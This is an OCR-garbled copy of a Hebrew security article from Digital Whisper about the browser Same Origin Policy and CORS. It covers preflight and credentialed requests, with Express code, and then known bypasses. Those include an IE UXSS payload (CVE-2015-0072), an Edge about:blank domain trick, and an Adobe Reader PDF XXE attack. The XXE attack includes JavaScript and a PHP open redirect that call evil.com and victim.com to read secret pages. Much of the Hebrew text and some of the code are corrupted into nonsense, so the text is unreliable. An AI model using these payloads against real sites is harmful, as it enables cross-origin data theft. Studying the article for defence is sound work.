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© XMLHttpRequest cannot load http://localhost:8462/apifcard. Mo 'Access-Control-Allow-Origin® list:1
header is present on the reguested resource. Origin 'http:/flocalhost:3@8@' is therefore not allowed
access. The response had HTTP status code 481.
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Accept e
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DPR e

Downlink e
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application/x-www-form-urlencoded e
multipart/form-data e

text/plain e
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Client Server

Simple request
GET /doc HTTE/1.1
Origin: Server-b.com

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *

[https://mdn.mozillademos.org/files/14293/simple _req.png :1ij7n]

NMIYNNI NYpPRaN IR nddI

GET /resources/public-data/ HTTP/1.1

Host: bar.other

User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre)
Gecko/20081130 Minefield/3.1lb3pre

Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*;g=0.8
Accept-Language: en-us,en;g=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: IS0-8859-1,utf-8;9=0.7,*;g=0.7

Connection: keep-alive

Referer: http://foo.example/examples/access-control/simpleXSInvocation.html
Origin: http://foo.example

HTTP/1.1 200 OK

Date: Mon, 01 Dec 2008 00:23:53 GMT
Server: Apache/2.0.61
Access-Control-Allow-Origin: *
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: application/xml

[XML Datal

yTMY? NWa? 710 ipn 1w 97977 nonvy nn NN W DAl NQIYNA N901Y NN 17 In'Y
D"'9'¥90 NNIPNA NNYMY T 7Y NINT NIYYY? 7211 ,0MWIRAN NNIPNRN DX 7'2a07 N¥11 OX .01

DNnpa

Access-Control-Allow-Origin: http://foo.example

NI71Y9 19010 quini 3000 LIS Y1 'K MY .XWIIN NX Y'NNNY7 NN 7V node.js-2 |07 DY 'Mand

JIYPA M 702 [IWRIN MW 7R N15w HTML Ty wiami 3001 01192 Y1 "2 nwvl
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app.get('/’, (reqg, res) {
res.send('Hello Get!")
})

"2 MY T 2 waimn Tinynn N

$.get('http://localhost:3001', (data) alert(data))

.N71Y9N0 N¥INY NNMal 'R MW7 nyain nwpan P91 OPTIONS nwiza nn7wa X7 nTn 2a¥na
N7 NIDI|9TOTN 7R NYAN NWRANW) |27 .NNNDN 72 R "Hello Get!" nawnn nX Y'7hin Nwn

DTN NDTINY AR'AYUN DR Y'O97N KRIN,NNNIDN DX NX

Control-Allow-Origin' header is present on the regquested

ed access.
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NN 7271 PATN K7 ANAYN ,NAIWNY NINNDA DX 9'01RY VAN ATINY YyTRN N7ap NN Doin

17 11'o'xV alert-n

app.get('/"', (req, res) {
res.header("Access-Control-Allow-Origin", "*");

res.header("Access-Control-Allow-Headers",
res.send('Hello Get!")

1)
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i i
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@ ; charset=UTF-8
3
o >d:  POST
2 Control-Request-Feaders: X-PTNEOTHFR, Content-Typs
£
(]
=
-
HTTE/1.1 200 OK
Access-Control-Allow-Origin: http://foo.example

[https://mdn.mozillademos.org/files/14289/prelight.png :117n]

.N20mM nwza N7 DNAw D X-PINGOTHER: pingpong NANidn oy POST NWpa NN7WW N
NIN N2 NXAN OPTIONS-N NYpa NX N7W* [DTOTN -[IYXRIN 27WIAYW DT 0770 NINKA "'y NN

:POST nwjpa NITYY NIWI wpan

Access-Control-Request-Method: POST

:D'0IYS X7n headers-n N2y NIV wizani

Access-Control-Request-Headers: X-PINGOTHER, Content-Type

NN7AN NYpPan

OPTIONS /resources/post-here/ HTTP/1.1

Host: bar.other

User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac O0S X 10.5; en-US; rv:1.9.1b3pre)
Gecko/20081130 Minefield/3.1lb3pre

Accept: text/html,application/xhtml+xml,application/xml;gq=0.9,*/*;g=0.8
Accept-Language: en-us,en;g=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: IS0-8859-1,utf-8;9=0.7,*;g=0.7

Connection: keep-alive

Origin: http://foo.example

Access-Control-Request-Method: POST

Access-Control-Request-Headers: X-PINGOTHER, Content-Type

HTTP/1.1 200 OK

Date: Mon, 01 Dec 2008 01:15:39 GMT

Server: Apache/2.0.61 (Unix)
Access-Control-Allow-Origin: http://foo.example
Access-Control-Allow-Methods: POST, GET, OPTIONS
Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
Access-Control-Max-Age: 86400

Vary: Accept-Encoding, Origin

Content-Encoding: gzip

Content-Length: 0

Keep-Alive: timeout=2, max=100

Connection: Keep-Alive

Content-Type: text/plain
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http://foo.example

,Content-Type-1 X-PINGOTHER NnINNibN NX DA YWXN XNl ,OPTIONS-I POST, GET niTinna nway
NINIX NXT NONIdN .86400 wn Dy Access-Control-Max-Age DWA NONI> D'RIN NNIX ,90112
NIV TIYV NI7WY 10X X7 1D cache-2 nwpan NX MY 710 XN (N1Mw2) |t Nnd? 979717

Qv 24 17w njpma Lpreflight

INDWwW

app.put('/', (reqg, res) {

res.send('Hello Put!")

})

‘1 nwn N

$.ajax({
url: 'http://localhost:3001",
type: 'put’,
success: (data) alert(data)

})

-0 NYRA DT 210N NIYRAL 7701 790N X7 'K My 77221 OPTIONS Nwjpa NN nf avna

NRAWN DY Ywon OPTIONS

cess control check:

therefore

load http://localhost:3881/. Res

header is present on the requeste

N2 2¥N? mMwn NX Ml L(PUT nwpa nn7wa X7 071yn ) y¥ann X7 17'o9X PUT-n n71yol

app.put('/', (req, res) {
res.send('Hello Put!")

1)

app.options('/", (reqg, res) {

res.header("Access-Control-Allow-Origin", "*");
res.header('Access-Control-Allow-Methods', 'POST, PUT, GET, OPTIONS');
res.header("Access-Control-Allow-Headers", "*");
res.header("Access-Control-Max-Age", "86400");

res.send()

PUT-N NUpa NN N7 [9T9TN 271 ,PUT-N NWPA DX TWKRNIITAN OPTIONS-N NWjpa NTN 2¥Nna
NN 119010 X7 PUT-N NWRA D ,ARAY Y'O7'I NAIYNN NIX DION! [9TOTN JWNNA X .YXINN X'l
25 AN X7 Dyoni GET-n NWPAA 0D 1190INY NNIYA DX §'011 ,NITN! YT'AN DAY T .NNNIDN

DTN VT'nnl nXaYy
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Isita GET
or HEAD?

JavaScript makes a
cross-domain XHR call

Path of added latency

1
|
Yes 1
1
1
1

Make OPTIONS call to

Is the content-

appropriate Access-Control-*
headers?

. 1
. 1
b 1
s 1
' 1
' 1
g » |
Yes server with all custom T
type standard? : : details :
! i )
1 i 1l
Yes ' ! )
1 I )
! I )
1 I 1l
Are there A Yed !
Path of standard latency custom HTTP : ]
headers? 1 | :
! I )
1 I 1l
! I )
No | 1
! : |
: Did server respond with
!
1
|
!
!

|
|
1
Make actual XHR 1 ERROR
)
1

[https://upload.wikimedia.org/wikipedia/commons/c/ca/Flowchart showing Simple and Preflight XHR.svg :1jm]

.NT IR IWKRT7 1Y MW cookies NI7WY 13 ?cookies INd ,credentials NN'™w 7w avna N nn

:NIN2N GET-n Nwpa NN N7W1 OX ,NNAIT?

GET /resources/access-control-with-credentials/ HTTP/1.1

Host: bar.other

User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre)
Gecko/20081130 Minefield/3.1lb3pre

Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*;9=0.8
Accept-Language: en-us,en;g=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: IS0-8859-1,utf-8;9=0.7,*;g=0.7

Connection: keep-alive

Referer: http://foo.example/examples/credential.html

Origin: http://foo.example

Cookie: pageAccess=2

AWUNN NINY 7Y DAIWNA 'TNNY 0X NN 7aX preflight request ndoMx X7 DINIX nwpan
credentials Dy nwpaa .Access-Control-Allow-Credentials Wanid2a true wn YT 2V Ny n'7ap

W19 NNIPNAN DX X7 2N RIXR (*) wildcard-2 wnnwin'? 710' X7 nwn

HTTP/1.1 200 OK

Date: Mon, 01 Dec 2008 01:34:52 GMT

Server: Apache/2.0.61 (Unix) PHP/4.4.7 mod ssl/2.0.61 OpenSSL/0.9.7e mod fastcgi/2.4.2
DAV/2 SVN/1.4.2

X-Powered-By: PHP/5.2.6

Access-Control-Allow-Origin: http://foo.example
Access-Control-Allow-Credentials: true

Cache-Control: no-cache

Pragma: no-cache

Set-Cookie: pageAccess=3; expires=Wed, 31-Dec-2008 01:34:53 GMT
Vary: Accept-Encoding, Origin

Content-Encoding: gzip

Content-Length: 106

Keep-Alive: timeout=2, max=100

Connection: Keep-Alive

Content-Type: text/plain

[text/plain payload]
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[AINN v nivpnnil SOP o'wnnna 0'9011 0'aMM

Y' ,|9TOTNN YIN) DY D221 09TOTA (112100 WIN'N NI NIYZIN INYN) DIWN 170N
2V 1wxannw nNiopnn nnd axX (T Flash ,JAVA applets m> SOP 0770w pnX 021 nan

78 DA i L,0IvN D19 TOTN

:Internet Explorer

N2 n'N L8 N0NA7 TV .SOP-n 11 win'na NIY7IN ,0'yo 7w 11 190N ,I'n explorer [9T9Ta

:NINWUNN 7Y 1DV DX NRYWY pn NKY71E document ORMAINN DX JS NIYXNR] ONTY
document.domain

ANQ1N 'MITNN MNKD TNKRN 78 on"nn N |9TOTN ,NINYNN W 'N'Y INKY 4T yby]

var document;
document = {};
document.domain = ‘example.org';

a10n X' nw7inn .8.1-1 7 Windows-1 11 nona T IE 7y ny'own ,(CVE-2015-0072) nooi nwlin

NQN NI¥A (22220 NO'PY NN NMWONNA X' (AT XN [ITR X7 n'7ww ,Universal XSS) UXSS

VOO YN ,IUN NAIMD 7X redirect 1'TNNN ,NNWY N150 TNRY D ,iframes "W NIY¥XNNA N1
WD 'MITN 7Y context-a

src="rec .php"
src="http ww.google.com/images/srpr/logollw.png"

top[@].eval(' =top[1l];alert(); .location="javascript:alert(document.domain)"");

T AT XN MIPY NN
.redirect.php-7 nwjza yxani qpinn 7¢ frame-n N 10 91910 .1
UNTIN ANWUNYT YR y¥anl nonn 7 frame-n DX VIO 9T TN .2
JwRIN frame-n YW windowProxy-n 7y eval-n NTIP9 NX YN USMRON NX 7'yon |DT9TH .3
.MNwna 1w frame-n 7w WindowProxy-n N ow .1
.alerty'opm .2
VTINN DX R0 wnnwnnw dnn- .3
JTIPN DR ™1 N7NNNA 1NYY NInwnn 7Y location-n Nk mwn 4

.NMuNN 7w origin-n NNN W frame-a YN Tipn .4

frame 1. 1550 TarGet FEsource l 0]
frame 2. W=
script execution ; i 3
of frame 1
[3.1] [3.2] i [3.4]
[3.3]

[http://blog.innerht.ml/content/images/2015/06/ie.png :1j7n]

Same Origin Policy
www.DigitalWhisper.co.il
9 2017 ' ,83 jI''a



http://www.digitalwhisper.co.il/
http://www.digitalwhisper.co.il/
http://blog.innerht.ml/content/images/2015/06/ie.png

Technologic

frame-n DTN [AT2 ,ARINNN DX 1IA0" YNNWANY NDNN UO9IPONY XIN 1D [*2vnin 7NN ,0xv2]

(TN N9 MwnY redirect-n 7721) NNunn AkWUNY NINWN 1YY

7mn 7w lwRIN frame-n 9w origin-2 Y1 XN D ,SOP 121 7y19 X7 V970N ,ARINNN DI'O TV
-N ) VOMIFON 7Y origin-N NN NMIYN |9TOTN ,7INN INKN NMIONN INKY X', N'TOINN N'YaN
AN IMIRA L (Nvnn) N frame-n 7R NN97 715 P71 (11900 2y ,NINWN INIR 7'VONY origin

.NMIYN 72p71 nonn v
NQN T2 WNNWNN DY NYYPERI0IN 22 02 N9PNNN NIX Y¥AT N1

src="https pr/logollw.png"

top[@].eval("
XMLHttpRequest)open( end();_.location="j ript:alert(document.domain)

i

NN Y YN wnnwunnw X X71009UTN IR VXN D7 DNWN DINTD NIXa

.CVE-2017-0154 :X'n N7 XYIIA NINNX7? NN7annw namyn nw7in niv*

:Edge
[9T9T2 about:blank Tmyn 7w 'MIT7 NiIoN"NN2 X'N NS NNAIM XaRY (CVE-2017-0002) nw7Inn
[2M> N document.domain 7w VN http://example.com/index.html :Tmy7w nan 12> .Edge

?about:blank Tmyn 22y Wwn N nn 7ax ,example.com

2V Yyna_www.magicmac.com INXA 1INIX DX I7 VAN TINyn 0N *1T? 0'RNN7 mx vn

:magicmac.com 7 |"nITN DX 727' XIN ,about:blank TIMy7 1aynin NIN9d

B aboutdocument domai X+ = [m} ® 3 Blank page X IS = [m] X
& = 0 | magicmac.cam jf‘? | = :/_ CA e ) ‘ Search or enter web address * ‘ = :/_ Q
location href = hrtp://www com/dom/index hml Address bar empty is not important here

The important thing is that we are really
in about:blank and our domain is still the
referrer (www.magicmac.com)

document.domain = www.magicmac.com

The link below points to "about:blank’

Clicking on this link navigates us to an about:blank with
a document.domain that matches the one of this page

F12  DOMExplorer (RSN
EI X Target |_top: indexchtml v

location.href

about:blank

Network

Debugger  Network(®) ¥

X Target _top: aboutblank v

Debugger

@]

"http: //www.magicmac . com/dom/index. html"
document .domain document . domain|

" . magicmaC . com” " magicmac. con”

~
x
v
»

[http://www.brokenbrowser.com/wp-content/uploads/2016/12/01-about-blank-page-1024x419.png i)
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.DIpNn DIY'? N1on X7 IX DWY7 M19n 17w source-nw iframe-1 NIj7' 12T INIX

B sbout document domai X+ — O *

& — O | magicmac.com/dom/iframe.htm * | =

location href = http://www.magicmac.com/dom/iframe html
document domain = www.magicmac.com

<iframe=</iframe>

DOM Explorer Conscle Debugger Network

X Target | _top: iframe.html i

window[8].location.href
"about:blank"

window[8] .document.domain

"wiw . magicmac.com"

> X ko2

[http://www.brokenbrowser.com/wp-content/uploads/2016/12/02-about-blank-iframe.png i)

TARN NWAT 17010 X7 27 ,n1w 'M1T X URL INIX DX DN7 D' D2IW DNKRN iframe v (Y01 DX

...|]9TOTNN NIN'Y* about:blank TMy% 0121 bXw 17 0'w1 .awn X

B Blank page X+ — O =

& — @) | aboutblank * | =

Manually typed "about:blank”
into the address bar.

The location is about:blank but the domain is empty!
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window[0][0].location.href = "javascript:alert(parent.document.domain)";
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:Adobe Reader
Taly PDF-2 SOP .Xwid NNVAX W11 D'YS 190N NP [9T9T7? Adobe reader 7w 'R-aN790
2% Ix ,"Mvnn 7700 D91 A 'IT? 0 Nno? 715t XN A "nimn vian PDF DR .N)IW NX7 NNINa
Unnwn? nyTin YIOPN NN I7NY ' ¢ PDF-2 OX ,NNIR NRT .17 TURN WNNwNaY "It
AWUNNY DT XN YNNYUNN 0yon 775 0Tan NMiynun Ny 12T .0MON DX WWUR? 10Xy

I Yya X7

noninn ,XMLData.parse n'¥j7219n oy PDF-7 XML 1'% 0'71>' nnaxX Adobe Javascript APl n1tva
nonnl Levil.com-1 X¥XNIN DK W' QRINYY N (NN Dignn DY XML-7 9'oin% 0T) XXE-Q
NIY wal PDF TNXA ,D'TIMY AW 2'TN' qpINn .target.com/secret-2 X¥N1N VTN A'Wn7 XN

:NNAN NI¥a XXE 77100 XML nAtya niar PDF-n .redirect y¥ann

http://evil.com/wow.pdf:

var xml="<?xml version=\"1.0\" encoding=\"IS0-8859-1\"?><!DOCTYPE foo [ <!ELEMENT foo
ANY><!ENTITY xxe SYSTEM
\"http://evil.com/redirect.php?redir=http%$3A%2F%$2Fwww.target.com%2Fsecret\">]><foo>&xxe; </
foo>";

varxdoc = XMLData.parse (xml, false) ;

app.alert (escape (xdoc.foo.value)) ;

2 XY YN TIRvN

http://evil.com/redirect.php:

<?php header ("Location: ".$ GET['redir']); 2>
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target.com/redirect.php?redir=evil.com/doc.pdf

TNy .m0 9 PDF-N TNy 78 MMUnn MY NX N1911 open redirect-N NW7IN DX 7¥11w D
:PDF qwpnmn

http://www.evil.com/evil/index.html:

<object
data="http://www.victim.com/redirect.php?redir=http%$3A%2F%2Fwww.evil.com%2Fevil%2Fdoc.pdf"

type="application/pdf" height="300" width="300">

:PDF-n Tmy
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http://www.evil.com/evil/doc.pdf:

var xml="<?xml version=\"1.0\" encoding=\"IS0-8859-1\"?><!DOCTYPE foo [ <!ELEMENT foo
ANY><!ENTITY xxe SYSTEM \"http://www.victim.com/secret\">]><foo>&xxe;</foo>";

varxdoc = XMLData.parse (xml, false) ;

app.alert (escape (xdoc.foo.value)) ;
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.Penetration testing-1 Full Stack Web development-a oynn 20 |2 017 [nar

yonatankreiner@gmail.com -D"1j'N INX NI7RWY

noson nx"MP%

:Firefox-2 nw71n

http://blog.bentkowski.info/2016/07/firefox-same-origin-policy-bypass-cve.html

:Facebook-2 "1aw SOP winm

https://www.cynet.com/wp-content/uploads/2016/12/Blog-Post-BugSec-Cynet-Facebook-

Originull.pdf
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https://en.wikipedia.org/wiki/Same-origin policy

https://en.wikipedia.org/wiki/Cross-origin resource sharing

https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin _policy

https://developer.mozilla.org/en-US/docs/Web/HTTP/Access control CORS

www.ietf.org/rfc/rfc6454.txt

http://resources.infosecinstitute.com/bypassing-same-origin-policy-sop/

http://www.brokenbrowser.com/uxss-edge-domainless-world/

https://blog.innerht.ml/ie-uxss/

http://www.sneaked.net/
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